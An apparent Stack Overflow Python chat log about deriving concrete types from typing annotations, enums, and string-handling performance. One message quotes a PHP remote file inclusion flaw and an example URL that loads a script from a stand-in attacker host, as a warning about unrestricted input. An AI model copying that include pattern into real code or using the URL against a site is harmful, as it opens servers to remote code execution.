Python

Room rules: sopython.com/chatroom Code formatting guide: tinyu...
Mar 3, 2020 15:54
@MisterMiyagi Python actually does anything with those type annotations? Or are you using an additional tool such as typeguard or mypy?
Feb 25, 2020 04:10
Are there more things like this I need to worry about people using as annotations? Where's the end?! youtube.com/watch?v=wNFMPhKIZXg
Feb 25, 2020 04:06
@AaronHall Absolutely, but where one is attempting to typecast to concrete types, types which seem to support instantiation (and do… with no arguments!) and operation in the typical method of passing the value to typecast, fail, and "muddy the waters". If it's not concrete, and it's not abstract (as in: an abstract base class for int, float, &c.)… what is it? More to the point: how do I detect it?
Feb 25, 2020 00:29
^ had me blinking, dumbfounded at my REPL for a few moments.
Feb 25, 2020 00:28
On the "drat" of `Number`:

from inspect import isabstract
from numbers import Number

isabstract(Number)  # False
Number.__class__  # abc.ABCMeta
Feb 25, 2020 00:26
@Aran-Fey Drat and yay! Your get_python_type function returns Number for my age (annotated: Number) parameter. I can map that, at least! (But more on why that's a "drat" next…) And ❤️ it correctly maps tags: Iterable[str]collections.abc.Iterable (and similar with sets/frozensets/etc.) which I can also directly map without issue. Thank you again!
Feb 24, 2020 20:57
Pillow, the modern/supported PIL fork, has quite a set of additional enums or enum-alikes, given image formats have all sorts of "one of a set of" options, like pixel format (RGB, Greyscale, Indexed), and bit depth. (Usually not arbitrary; 8, 12, 16, or 24 bits being most common.)
Feb 24, 2020 20:55
@roganjosh Look at almost any "fairly bare C" code exposed to the Python runtime. Zlib was just the first of many, many examples where the essence of the C enum type has "leaked through". Though, for historical reasons, almost entirely as module-level ALL_CAPS constants, not real enum instances.
Feb 24, 2020 20:52
There are possible edge cases such as setting up a timer signal then not handling it later, but that's asynchronous deferral and non-handling of that deferred act, not "exploding by not running"… quite.
Feb 24, 2020 20:51
@roganjosh Problem with proving a negative. Code only "does things" when executed. If the code is never executed… how can it explode?
Feb 24, 2020 20:51
@toonarmycaptain I'll see your enumerate and raise you one iterate. An enumerate that can tell you're iterating the final iteration as you iterate it, even for unsized iterables. 😽 I think that may be the over-engineering you were looking for.
Feb 24, 2020 20:46
@toonarmycaptain We've been chatting about enum.Enum, AFIK. 😉
Feb 24, 2020 20:44
Ultimately in Python, almost everything is dictionaries all the way down (to C). The power of this is… hard to describe. To attempt to, I have a dictionary-like class implementation that permits one to "promote" a given instance to the status of class. This permits, in this case, plugins to cooperatively populate the dictionary with descriptors, then make those descriptors functional through promotion.
Feb 24, 2020 20:42
However, the sugar is nice and comes in with not having to manually define the values.
Feb 24, 2020 20:42
valid_inputs['d'] ← straight access will explode, as expected.
Feb 24, 2020 20:41
Yes and no. A dictionary being a mapping has keys that act as a literal set.
Feb 24, 2020 20:36
(Distinctly useful for validating/constraining user data.)
Feb 24, 2020 20:35
Counter-example where an enum is essential: <?php include($_GET['page']); ?> ← I've literally fired a client for having the equivalent of this. Without restriction. (He didn't realize url_fopen was a thing, thus: index.php?http://bad-actor/spam-all-the-things.phps was possible.) An enum would have saved the fellow responsible the time to look for new hosting. 😜
Feb 24, 2020 20:32
Data structure-wise, there are flags (bool), sets (multiple bool in a single "field"), and enum (one of a set of choices). All related.
Feb 24, 2020 20:30
@roganjosh An enum is essentially just a specific type of flag, one where the flag may have one of a set of possible values, rather than simply being boolean: present or not. They're useful any time you have a very specific set of allowable options. A poor example being zip.DEFLATED as a constant. If multiple values were actually supported, this ought to be an enum. For something that's already suitable, ref: Z_BEST_SPEED.
Feb 24, 2020 20:13
I've added a relevant backlink to this chat in the code, and added links into your own for reference tonight. Will do.
Feb 24, 2020 20:10
@Aran-Fey Ref: the "my very first implementation" link given earlier; that's where this will end up being used, as part of the AnnotationExtension.collect data ingress processing.
Feb 24, 2020 20:07
TYVM! 😄
Feb 24, 2020 20:06
@Aran-Fey I'll be sure to give due credit and include your license fragment. 🙂
Feb 24, 2020 20:04
get_origin would replace a bunch of my own code to work that out. I'll investigate how robust get_python_type is, then investigate recursion. Ran into one mind-blowing trouble spot, actually: from numbers import Number; from inspect import isabstract; assert isabstract(Number) ← boom. So that's one special case to get started…
Feb 24, 2020 20:02
Indeed.
Feb 24, 2020 20:01
😄 I'm often torn; don't want to copy/pasta too much (kudos for MIT licensing, but I feel bad any time maintenance/improvements get split), don't necessarily desire an additional dependency. But I'll give your lib a proper look over after work; it looks darn close.
Feb 24, 2020 19:55
@Aran-Fey gist.github.com/amcgregor/… are my "handler" functions for different base types of annotation. The first has a terrible mess of indirection only partially working, your code will very likely correct that. Though I'm noticing I'll be restricted to 3.8+ after I do correct it, since get_origin is too handy.
Feb 24, 2020 19:48
Ah, the assistance is required with resolving the mess ~193→196. Nice. Your code is beautiful, Aran-Fey.
Feb 24, 2020 19:46
Because otherwise typing.List is fully usable as a dictionary key.
Feb 24, 2020 19:46
type(List) == type(List[int]) == typing._GenericAlias which made me sad. 😉
Feb 24, 2020 19:45
My very first implementation making use of annotations treated them as arbitrary callable objects accepting the value from the web and returning the "native" value. This works for many things, including interesting uses such as def hello(tags: str.split): — but now that typing is real, I want to actually use proper annotations… and need to reverse-engineer from them the correct concrete types to use.
Feb 24, 2020 19:43
(Or from a command line invocation, or…)
Feb 24, 2020 19:43
The premise is that all values being submitted to the function will be unicode text strings. ("Coming in from the web.")
Feb 24, 2020 19:42
Needing to turn the abstract Iterable into a concrete type, which I can then descend into and iteratively apply the annotation's __args__.
Feb 24, 2020 19:41
gist.github.com/amcgregor/415813e9d9dd8d374be6e5b952b20435?ts=4 is my WIP code so far exploring this problem. For the "simple case" (example function) the age is cast properly. Now I'm trying to deal with Iterable[str] "tags".
Feb 24, 2020 19:41
I'm not type checking, I'm just type casting.
Feb 24, 2020 19:38
b) In attempting to implement this myself, the internal structure and mechanism of operation is really throwing me for a loop. I've got top-level annotation → concrete type mapping working, roughly, so def mul(a: int, b: int) correctly casts (or Number, or…), but trying to look up the base annotation class for a derived annotation, such as List[str] is driving me batty. To implement my abstract→concrete mapping, I need to get back to List from List[str], but so far, no dice.
Feb 24, 2020 19:37
Question! I've been wrangling with the interpretation of typing annotations pretty much all of last week. Ultimately my goal is to take an annotated function, and bound set of arguments (literal BoundArguments produced from a Signature) and not just type check (typeguard FTW) but also type cast. My searches (which I occasionally re-attempt when getting frustrated enough) for existing packages implementing something like this have not gone well.
Mar 20, 2019 19:33
@wim Right-o.
Mar 20, 2019 19:33
I'm in-progress eliminating Python 2 support and switching to modern namespacing.
Mar 20, 2019 19:32
@wim Really, close that repository if you think this is modern or "real". Pick any other package (marrow.package, marrow.schema, …).
Mar 20, 2019 19:31
That accounts for imported-indirectly problems, does nothing to clean up attribute tab completion in my REPL.
Mar 20, 2019 19:30
I prefer not to litter module namespaces with references to imported modules used only once.
Mar 20, 2019 19:30
@wim Apologies for giving the impression that is a production library. It is not, it's an experiment in alternate logging syntaxes. You also completely misunderstand the reason for that structure.
Mar 20, 2019 19:29
Heh. In my HTTP/1.1 server, these specific optimizations made the difference between 4.5K r/sec, and 8K r/sec. Repeated tight loop processing of headers really added up.
Mar 20, 2019 19:27
(Similarly: prefix/suffix checks by array slicing, not startswith/endswith.)
Mar 20, 2019 19:26
(I used these timings to inform the habits I developed. For example, I preferentially use partition over split for every case of single-split, which is the vast majority in my code.)
Mar 20, 2019 19:25
@ThiefMaster Small cases add up, esp. when the difference is stark and there might be tight loops involved.
Mar 20, 2019 19:23
Extra benefit of comprehensions, generator comprehensions. Lazily evaluated results, lower memory pressure, arbitrarily complex chaining without worry. ;)